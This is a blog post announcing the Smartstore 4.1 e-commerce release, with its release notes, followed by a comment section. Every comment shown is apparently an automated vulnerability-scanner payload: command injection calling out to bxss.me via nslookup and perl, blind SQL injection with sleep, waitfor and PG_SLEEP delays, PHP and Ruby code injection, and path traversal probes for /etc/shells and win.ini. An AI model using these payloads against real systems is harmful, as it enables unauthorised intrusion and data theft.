Monday, November 9, 2020
Smartstore 4.1 is available
Highlights
- Web API: now supports the widely extended version 4 of OData. New endpoints for uploading and managing media files have been added to the API.
- (NEW) Delivery dates: product info now shows estimated delivery date (exact date, range, Not before, Not later than). Merchant can enter optional Min/Max delivery days and also specify business hours.
- (DEV) VS Extension to create plugins. Helps developing plugins for Smartstore by creating the basic structure of a Smartstore plugin with all the required files.
- OCI provides connection to e-procurement systems via industry standard OCI (commercial plugin)
- cXmlPunchout provides connection to e-procurement systems via industry standard cXmlPunchout (commercial plugin)
- Video support in product media gallery.
- Media Gallery displays a multitude of media files in various styles as Page Builder block.
- (PERF) ~10% faster page rendering speed thanks to better eager loading & caching strategies
Breaking changes
- The Glimpse plugin is obsolete and has been removed! Does not work with .NET 4.7+ and hasn't been maintained for 7 years now.
- (DEV) Web API: porting to OData v4 has minor incompatibilities with v3. See this blog post for details.
- Blogs\News: the direct language association has been removed. Localized content is now entered using the localization editor.
Merging the contents of different languages must be done manually (migration is not possible). - PostFinance: plugin has been extended and renamed. Users of this payment method must activate PostFinance e-Commerce in backend and enter the API access data again.
New Features
- Theming: responsive font-sizing and spacing
- Page Builder
- Added gallery block to display a multitude of media files in various styles.
- Added block to display content slider.
- Added block to display news.
- Added option for title and intro inline background color.
- Graying out unavailable attribute combinations.
- Added 'Orders' tab to the product editor to display all orders in which the product has been purchased.
- Added a setting to open a product directly if the search term matches a SKU, MPN or GTIN.
- Added configurability for password strength.
- Determine initial working currency based on IP/country.
- Added picture and color options to checkout attribute values.
- Added setting to restrict order amount in general and for customer roles in specific.
- Added minimum and maximum days to delivery times to show a specific delivery date.
- Added product attributes selected by customer to RFQ and ask question message.
- (DEV) Full localization support for properties of setting classes.
- Added paging and sorting for bestsellers report.
- Added paging and sorting for top customers report.
- Added meta properties for social media sharing to category, manufacturer, news and blog pages.
- Added option for SameSite mode property of cookies
- Add 'apple-touch-icon' meta with all common sizes
- Allow special title and meta tags for home
Improvements
- (PERF) 10% faster page rendering speed thanks to better eager loading & caching strategies
- Added grouping for cart rules.
- Added menu to set order and payment status for orders checked in backend grid.
- Back button closes offcanvas menu/cart.
- MegaSearch: product order is applied to all categories in which a product appears.
- When editing a product, the stock quantity is only updated if it has not changed since the page was loaded.
- Added options for special title and meta tags on home page.
- CMS Menu Builder: added new builder types for blogs and news.
- Search Log: added option to hide top search terms in instant search.
- CookieManager: Admin area for user defined cookie information
- CookieManager: More compact frontend layout for mobile devices
- Seo optimization for News, Blog & Boards
- (Admin) More filter options for news & blog items
- News: Made CreatedOn configurable
- Hidden news items should be rendered opaque if current user is in admin role.
- Form registration clears values when switching between site languages
- Render breadcrumb for pages that are part of the main menu.
- Media Manager: implement direct file "replace" support.
- Display 'PanGV' in OffCanvas cart
- Preconnect all external resources and load them async
- Dropzone: upload the folder structure when a folder is dropped.
- Page Builder: Added 'Loading behaviour' option to picture block
- Improved schema for news, blogs and products
Bugfixes
- Media Manager
- The file date should be displayed in local time and not in UTC.
- Page Builder
- Reveal effect on story block conflicted with nested block reveal effects.
- Fixed RTL display issues with dropdown menus and slider.
- Export
- An empty export file was created at the end of an export when using the batch-size option.
- The offset option skipped one record too much.
- The XML export of CountryOfOrigin caused an error.
- Message template attachments were not attached to the email.
- Shipment templates showed all products of the order instead of only those of the shipment.
- EasyCredit: fixed "Could not convert setting 'EasyCreditSettings.LastPurchaseLimitUpdatedOn' to type 'DateTime'".
- Attributes were not pre-selected for all associated products of a grouped product.
- Customer tab on customer role edit page showed deleted customers.
- Product with call for price did show as free in product list and grid view.
- Order item editing: order total was not updated when both unit and item price were changed.
- RSS feeds: relative URLs of objects embedded in HTML are replaced by absolute URLs.
- Rules: automatic category assignments of products were not taken into account in a search index updates.
- Campaign preview did not work if there are no newsletter subscribers.
- Many alt & title attribute fixes for pictures
- Escape toxic chars in meta attributes
- Google Analytics: Fixed script error in conjunction with CookieManager
- RTL: searchbar button wasn't aligned correctly
- RTL: Fixed Page Builder slider positioning, dropdown and other alignments
- OffCancas compare: hide horizontal scrollbar
Comments (61)
Mr.
echo coydvc$()\ wkazqo\nz^xyu||a #' &echo coydvc$()\ wkazqo\nz^xyu||a #|" &echo coydvc$()\ wkazqo\nz^xyu||a #
Mr.
response.write(9550257*9851937)
Mr.
&echo sossxk$()\ weyqcc\nz^xyu||a #' &echo sossxk$()\ weyqcc\nz^xyu||a #|" &echo sossxk$()\ weyqcc\nz^xyu||a #
Mr.
'+response.write(9550257*9851937)+'
Mr.
|echo walibs$()\ whjeul\nz^xyu||a #' |echo walibs$()\ whjeul\nz^xyu||a #|" |echo walibs$()\ whjeul\nz^xyu||a #
Mr.
"+response.write(9550257*9851937)+"
Mr.
(nslookup hitjlxcwhrwprc5b60.bxss.me||perl -e "gethostbyname('hitjlxcwhrwprc5b60.bxss.me')")
Mr.
$(nslookup hitgeeoeersjd54990.bxss.me||perl -e "gethostbyname('hitgeeoeersjd54990.bxss.me')")
Mr.
&(nslookup hitqajiighzws7fb69.bxss.me||perl -e "gethostbyname('hitqajiighzws7fb69.bxss.me')")&'\"`0&(nslookup hitqajiighzws7fb69.bxss.me||perl -e "gethostbyname('hitqajiighzws7fb69.bxss.me')")&`'
Mr.
|(nslookup hitalciznfdowf0aa6.bxss.me||perl -e "gethostbyname('hitalciznfdowf0aa6.bxss.me')")
Mr.
`(nslookup hityvmijaxqqi26357.bxss.me||perl -e "gethostbyname('hityvmijaxqqi26357.bxss.me')")`
Mr.
;(nslookup hitcfqqtjpyml38b21.bxss.me||perl -e "gethostbyname('hitcfqqtjpyml38b21.bxss.me')")|(nslookup hitcfqqtjpyml38b21.bxss.me||perl -e "gethostbyname('hitcfqqtjpyml38b21.bxss.me')")&(nslookup hitcfqqtjpyml38b21.bxss.me||perl -e "gethostbyname('hitcfqqtjpyml38b21.bxss.me')")
Mr.
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
Mr.
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
Mr.
Http://bxss.me/t/fit.txt
Mr.
http://bxss.me/t/fit.txt?.jpg
Mr.
/etc/shells
Mr.
c:/windows/win.ini
Mr.
bxss.me
Mr.
'.gethostbyname(lc('hitlo'.'yjlfmpth837a8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(83).chr(109).chr(70).'
Mr.
".gethostbyname(lc("hitsb"."uejjakiq249c2.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(71).chr(99).chr(82)."
Mr.
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
Mr.
';print(md5(31337));$a='
Mr.
";print(md5(31337));$a="
Mr.
${@print(md5(31337))}
Mr.
${@print(md5(31337))}\
Mr.
'.print(md5(31337)).'
Mr.
-1 OR 2+628-628-1=0+0+0+1 --
Mr.
"+"A".concat(70-3).concat(22*4).concat(100).concat(89).concat(118).concat(65)+(require"socket"
Socket.gethostbyname("hiteq"+"rjynwlvab685d.bxss.me.")[3].to_s)+"
Mr.
'+'A'.concat(70-3).concat(22*4).concat(113).concat(77).concat(103).concat(72)+(require'socket'
Socket.gethostbyname('hitzp'+'gcuaqxua16d2f.bxss.me.')[3].to_s)+'
Mr.
-1 OR 3+628-628-1=0+0+0+1 --
Mr.
-1 OR 2+608-608-1=0+0+0+1
Mr.
-1 OR 3+608-608-1=0+0+0+1
Mr.
-1' OR 2+155-155-1=0+0+0+1 --
Mr.
-1' OR 3+155-155-1=0+0+0+1 --
Mr.
-1' OR 2+369-369-1=0+0+0+1 or 'BaYbY3zo'='
Mr.
-1' OR 3+369-369-1=0+0+0+1 or 'BaYbY3zo'='
Mr.
-1" OR 2+893-893-1=0+0+0+1 --
Mr.
-1" OR 3+893-893-1=0+0+0+1 --
Mr.
if(now()=sysdate(),sleep(15),0)
Mr.
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
Mr.
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
Mr.
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
Mr.
-1; waitfor delay '0:0:15' --
Mr.
-1); waitfor delay '0:0:15' --
Mr.
-1)); waitfor delay '0:0:15' --
Mr.
1 waitfor delay '0:0:15' --
Mr.
YkfHWp7Y'; waitfor delay '0:0:15' --
Mr.
Q1of5X9c'); waitfor delay '0:0:15' --
Mr.
kRPooT0f')); waitfor delay '0:0:15' --
Mr.
-5 OR 340=(SELECT 340 FROM PG_SLEEP(15))--
Mr.
-5) OR 351=(SELECT 351 FROM PG_SLEEP(15))--
Mr.
-1)) OR 297=(SELECT 297 FROM PG_SLEEP(15))--
Mr.
KNOkQzL7' OR 571=(SELECT 571 FROM PG_SLEEP(15))--
Mr.
aOHLxP5R') OR 499=(SELECT 499 FROM PG_SLEEP(15))--
Mr.
B6CRPv0U')) OR 671=(SELECT 671 FROM PG_SLEEP(15))--
Mr.
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
Mr.
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Mr.
1'"
Mr.
1����%2527%2522
Mr.
@@TLNqT